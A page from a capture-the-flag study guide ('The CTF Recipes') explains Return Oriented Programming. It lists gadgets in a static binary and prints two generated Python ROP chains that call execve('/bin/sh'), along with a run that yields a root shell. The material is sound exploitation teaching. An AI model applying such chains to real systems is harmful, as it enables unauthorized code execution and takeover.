🏳️
The CTF Recipes
  • Introduction
  • Cryptography
    • Introduction
    • General knowledge
      • Encoding
        • Character encoding
          • ASCII
          • Unicode
          • UTF-8
        • Data encoding
          • Base16
          • Base32
          • Base64
      • Maths
        • Modular arithmetic
          • Greatest Common Divisor
          • Fermat's little theorem
          • Quadratic residues
          • Tonelli-Shanks
          • Chinese Remainder Theorem
          • Modular binomial
      • Padding
        • PKCS#7
    • Misc
      • XOR
    • Mono-alphabetic substitution
      • Index of coincidence
      • frequency analysis
      • Well known algorithms
        • 🔴Scytale
        • 🔴ROT
        • 🔴Polybe
        • 🔴Vigenere
        • 🔴Pigpen cipher
        • 🔴Affine cipher
    • Symmetric Cryptography
      • AES
        • Block Encryption procedure
          • Byte Substitution
          • Shift Row
          • Mix Column
          • Add Key
          • Key Expansion / Key Schedule
        • Mode of Operation
          • ECB
            • Block shuffling
              • Challenge example
            • ECB Oracle
              • Challenge example
          • CBC
            • Bit flipping
              • Challenge example
            • Padding oracle
              • Challenge example
          • OFB
            • Key stream reconstruction
            • Encrypt to Uncrypt
  • 🛠️Pwn
    • General knowledge
      • STACK
        • Variables storage
        • Stack frame
      • PLT and GOT
      • HEAP
        • HEAP operations
        • Chunk
        • Bins
        • Chunk allocation and reallocation
      • Syscall
    • Architectures
      • aarch32
        • Registers
        • Instruction set
        • Calling convention
      • aarch64
        • Registers
        • Instruction set
        • Calling convention
      • mips32
        • Registers
        • Instruction set
        • Calling convention
      • mips64
        • Registers
        • Instruction set
        • Calling convention
      • x86 / x64
        • Registers
        • Instruction set
        • Calling convention
    • Stack exploitation
      • Stack Buffer Overflow
        • Dangerous functions
          • gets
          • memcpy
          • sprintf
          • strcat
          • strcpy
        • Basics
          • Challenge example
        • Instruction pointer Overwrite
          • Challenge example
        • De Bruijn Sequences
        • Stack reading
          • Challenge example
      • Format string
        • Dangerous functions
          • printf
          • fprintf
        • Placeholder
        • Data Leak
          • Challenge example
        • Data modification
          • Challenge example
      • Arbitrary code execution
        • Shellcode
        • ret2reg
        • Code reuse attack
          • Ret2plt
          • Ret2dlresolve
          • GOT Overwrite
          • Ret2LibC
          • Leaking LibC
          • Ret2csu
          • Return Oriented Programming - ROP
          • Sigreturn Oriented Programming - SROP
          • Blind Return Oriented Programming - BROP
            • Challenge example
          • 🔴Call Oriented Programming - COP
          • 🔴Jump Oriented Programming - JOP
          • One gadget
        • Stack pivoting
    • 🛠️Heap exploitation
      • Heap overflow
        • Challenge example
      • Use after free
        • Challenge example
      • 🛠️Double free
      • 🔴Unlink exploit
    • Protections
      • Stack Canaries
      • No eXecute
      • PIE
      • ASLR
      • RELRO
    • Integer overflow
Powered by GitBook
On this page
  • List available gadgets
  • Chaining gadgets
  • Generating ROP chain
  • Resources
  1. Pwn
  2. Stack exploitation
  3. Arbitrary code execution
  4. Code reuse attack

Return Oriented Programming - ROP

PreviousRet2csuNextSigreturn Oriented Programming - SROP

Last updated 2 years ago

Return Oriented Programming (ROP) is a technique that allows an attacker to execute arbitrary code in a program by chaining together small fragments of code, known as "gadgets", that are already present in the program's memory.

ROP works by exploiting a vulnerability in the program that allows the attacker to control the program's instruction pointer such as or . The attacker can use this control to redirect the instruction pointer to a gadget in the program's memory, and then chain together multiple gadgets to execute arbitrary code.

One of the key features of ROP is that it does not require to inject new code into the program's memory.. This makes ROP attacks difficult to detect and prevent, as the attacker is not introducing any new code that can be identified and blocked.

List available gadgets

There is multiple tool that can list available gadget for a binary such as and

$ ROPgadget --binary chall
Gadgets information
============================================================
0x0804912a : adc al, 0x68 ; xor al, 0xc0 ; add al, 8 ; call eax
0x08049052 : adc al, 0xc0 ; add al, 8 ; push 0x10 ; jmp 0x8049020
0x08049042 : adc al, al ; add al, 8 ; push 8 ; jmp 0x8049020
0x08049176 : adc byte ptr [eax + 0x68], dl ; xor al, 0xc0 ; add al, 8 ; call edx
0x08049057 : adc byte ptr [eax], al ; add byte ptr [eax], al ; jmp 0x8049020
0x08049134 : adc cl, cl ; ret
...
0x0804912c : xor al, 0xc0 ; add al, 8 ; call eax
0x08049179 : xor al, 0xc0 ; add al, 8 ; call edx
0x08049097 : xor byte ptr [eax], al ; add byte ptr [eax], al ; jmp 0x8049020
0x080492d9 : xor dword ptr [eax], 0xffffffff ; call dword ptr [eax - 0x18]

Unique gadgets found: 33504

In order to have a lot of gadget, the binary was compiled using the -static parameter.

Chaining gadgets

So, there is the stack state after a buffer overflow in order to run the rop chain :

  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------- Buffer ---------------------------+
0xffffd264: |   |   0x41414141    0x41414141    0x41414141      0x41414141   |
            |   +------------------------------------------------------------+
            |     +gadget1 addr+ +gadget2 addr+ +gadget2 need+ +gadget3 addr+|
0xffffd274: |     | 0x565561dd | | 0xffffd35c |	| 0xffffd12c | | 0xffffd12c ||
            |     +------------+ +------------+ +------------+ +------------+|
  ...       |    ...

When the gagdet 1 return, the process will POP EIP and because there is the next gadget address, the process will chain with it.

In this example there is a "gadget2 need". This is an example in the case of gadget2 will make a POP instruction or any other that need specific value onto the stack.

Generating ROP chain

execve can be used to call /bin/sh.

To do this, a pointer to /bin/sh must be passed as parameter (EBX in x86 ) and other parameters (ECX and EDX ix x86) must be populated with 0. This is necessary because both argv and envp must be set to NULL in order to pop a shell.

$ ROPgadget --binary chall --ropchain --silent

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

	[+] Gadget found: 0x805f0fa mov dword ptr [edx], eax ; ret
	[+] Gadget found: 0x806573e pop edx ; pop ebx ; pop esi ; ret
	[+] Gadget found: 0x80b2166 pop eax ; ret
	[+] Gadget found: 0x804fa90 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

	[+] Gadget found: 0x804fa90 xor eax, eax ; ret
	[+] Gadget found: 0x808b9ba inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

	[+] Gadget found: 0x804901e pop ebx ; ret
	[+] Gadget found: 0x80abca9 pop ecx ; ret
	[+] Gadget found: 0x806573e pop edx ; pop ebx ; pop esi ; ret

- Step 4 -- Syscall gadget

	[+] Gadget found: 0x804a792 int 0x80

- Step 5 -- Build the ROP chain

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b2166) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805f0fa) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b2166) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805f0fa) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fa90) # xor eax, eax ; ret
p += pack('<I', 0x0805f0fa) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0804901e) # pop ebx ; ret
p += pack('<I', 0x080e8060) # @ .data
p += pack('<I', 0x080abca9) # pop ecx ; ret
p += pack('<I', 0x080e8068) # @ .data + 8
p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8068) # @ .data + 8
p += pack('<I', 0x080e8060) # padding without overwrite ebx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fa90) # xor eax, eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0804a792) # int 0x80
$ ropper -f chall --chain execve
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

[INFO] ROPchain Generator for syscall execve:


[INFO] 
write command into data section
eax 0xb
ebx address to cmd
ecx address to null
edx address to null


[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget

[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # 677631fb3915ff66f941b00af4c4887e006459261ae493e7e1d50fa721fcca2b
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''

rop += rebase_0(0x0006a166) # 0x080b2166: pop eax; ret; 
rop += '//bi'
rop += rebase_0(0x0001d73e) # 0x0806573e: pop edx; pop ebx; pop esi; ret; 
rop += rebase_0(0x000a0060)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x000170fa) # 0x0805f0fa: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x0006a166) # 0x080b2166: pop eax; ret; 
rop += 'n/sh'
rop += rebase_0(0x0001d73e) # 0x0806573e: pop edx; pop ebx; pop esi; ret; 
rop += rebase_0(0x000a0064)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x000170fa) # 0x0805f0fa: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x0006a166) # 0x080b2166: pop eax; ret; 
rop += p(0x00000000)
rop += rebase_0(0x0001d73e) # 0x0806573e: pop edx; pop ebx; pop esi; ret; 
rop += rebase_0(0x000a0068)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x000170fa) # 0x0805f0fa: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
rop += rebase_0(0x000a0060)
rop += rebase_0(0x00063ca9) # 0x080abca9: pop ecx; ret; 
rop += rebase_0(0x000a0068)
rop += rebase_0(0x000539e5) # 0x0809b9e5: pop edx; xor eax, eax; pop edi; ret; 
rop += rebase_0(0x000a0068)
rop += p(0xdeadbeef)
rop += rebase_0(0x0006a166) # 0x080b2166: pop eax; ret; 
rop += p(0x0000000b)
rop += rebase_0(0x00034db0) # 0x0807cdb0: int 0x80; ret; 
print(rop)
[INFO] rop chain generated!
$ python3 rop.py 
[+] Starting local process './chall': pid 236981
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

Resources

When a function ends and calls the RET instruction, it is actually a POP EIP that is performed, followed by a JMP EIP. The POP EIP takes the value that is on top of the stack and stores it in the EIP register. Since this value is controled (using a or for example), the JMP EIP is controled.

If there is a gadget, such as int 0x80, there is a notable syscall : the execve syscall, which executes the program passed in argument.

There is multiple tool that can create ROP chain that call an execve with available gadget for a binary such as and

🛠️
buffer overflow
format string exploit
ROPgadget
ropper
Buffer overflow
format string exploit
syscall
ROPgadget
ropper
ROP Chaining: Return Oriented ProgrammingRed Teaming Experiments
What is ROP - CTF 101
Logo
GadgetsBinary Exploitation
ROP - Return Oriented Programminghackndo
Logo
Logo
Logo